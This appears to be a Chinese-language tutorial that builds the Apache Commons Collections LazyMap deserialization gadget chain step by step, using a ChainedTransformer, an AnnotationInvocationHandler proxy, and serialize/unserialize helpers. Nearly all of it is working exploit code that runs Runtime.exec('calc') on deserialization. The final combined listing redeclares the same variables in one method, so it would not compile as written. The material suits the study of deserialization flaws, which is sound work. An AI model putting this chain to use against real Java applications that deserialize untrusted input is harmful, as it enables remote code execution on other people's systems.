LazyMap
第一步
lazymap原始碼
public class LazyMap
extends AbstractMapDecorator
implements Map, Serializable {
private static final long serialVersionUID = 7990956402564206740L;
protected final Transformer factory;
public static Map decorate(Map map, Factory factory) {
return new org.apache.commons.collections.map.LazyMap(map, factory);
}
public static Map decorate(Map map, Transformer factory) {
return new org.apache.commons.collections.map.LazyMap(map, factory);
}
protected LazyMap(Map map, Factory factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = FactoryTransformer.getInstance(factory);
}
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
private void writeObject(ObjectOutputStream out) throws IOException {
out.defaultWriteObject();
out.writeObject(map);
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
map = (Map) in.readObject();
}
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
}
我們來測試一下
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Runtime r = Runtime.getRuntime();
Class lazyclass = LazyMap.class;
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
Method lazyGetMethod = lazyclass.getDeclaredMethod("get", Object.class);
lazyGetMethod.setAccessible(true);
lazyGetMethod.invoke(decorateMap, r);
第二步
尋找能夠呼叫readobject裡的get函式:package sun.reflect.annotation;
annotation部分原始碼
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}
// Handle annotation member accessors
Object result = memberValues.get(member);
if (result == null)
throw new IncompleteAnnotationException(type, member);
if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();
if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);
return result;
}
若要呼叫裡面的invoke可以使用proxy代理
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
HashMap<Object, Object> hashMap = new HashMap<>();
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
上面這部分沒有修改就是常規的
構造一個代理器
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandler = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandler.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationHandler.newInstance(Override.class,decorateMap);
InvocationHandler把要代理的引數寫的明明白白，當呼叫這個代理器的時候就可以直接觸發引數相關的函式了
然後生成代理例項
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
然後將代理例項放入annotationInvocationHandler.newInstance這樣就能夠呼叫invoke
Object o = annotationInvocationHandler.newInstance(Override.class,mapProxy);
最後就序列化反序列化就成功了
最後程式碼
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
HashMap<Object, Object> hashMap = new HashMap<>();
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandler = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandler.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationHandler.newInstance(Override.class,decorateMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
Object o = annotationInvocationHandler.newInstance(Override.class,mapProxy);
serialize(o);
unserialize("ser.bin");
全部程式碼
public class cc6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Runtime r = Runtime.getRuntime();
Class lazyclass = LazyMap.class;
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
Method lazyGetMethod = lazyclass.getDeclaredMethod("get", Object.class);
lazyGetMethod.setAccessible(true);
lazyGetMethod.invoke(decorateMap, r);//第一步
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
HashMap<Object, Object> hashMap = new HashMap<>();
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandler = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandler.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationHandler.newInstance(Override.class,decorateMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
Object o = annotationInvocationHandler.newInstance(Override.class,mapProxy);
serialize(o);
unserialize("ser.bin");//第二步
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject();
ois.close();
return obj;
}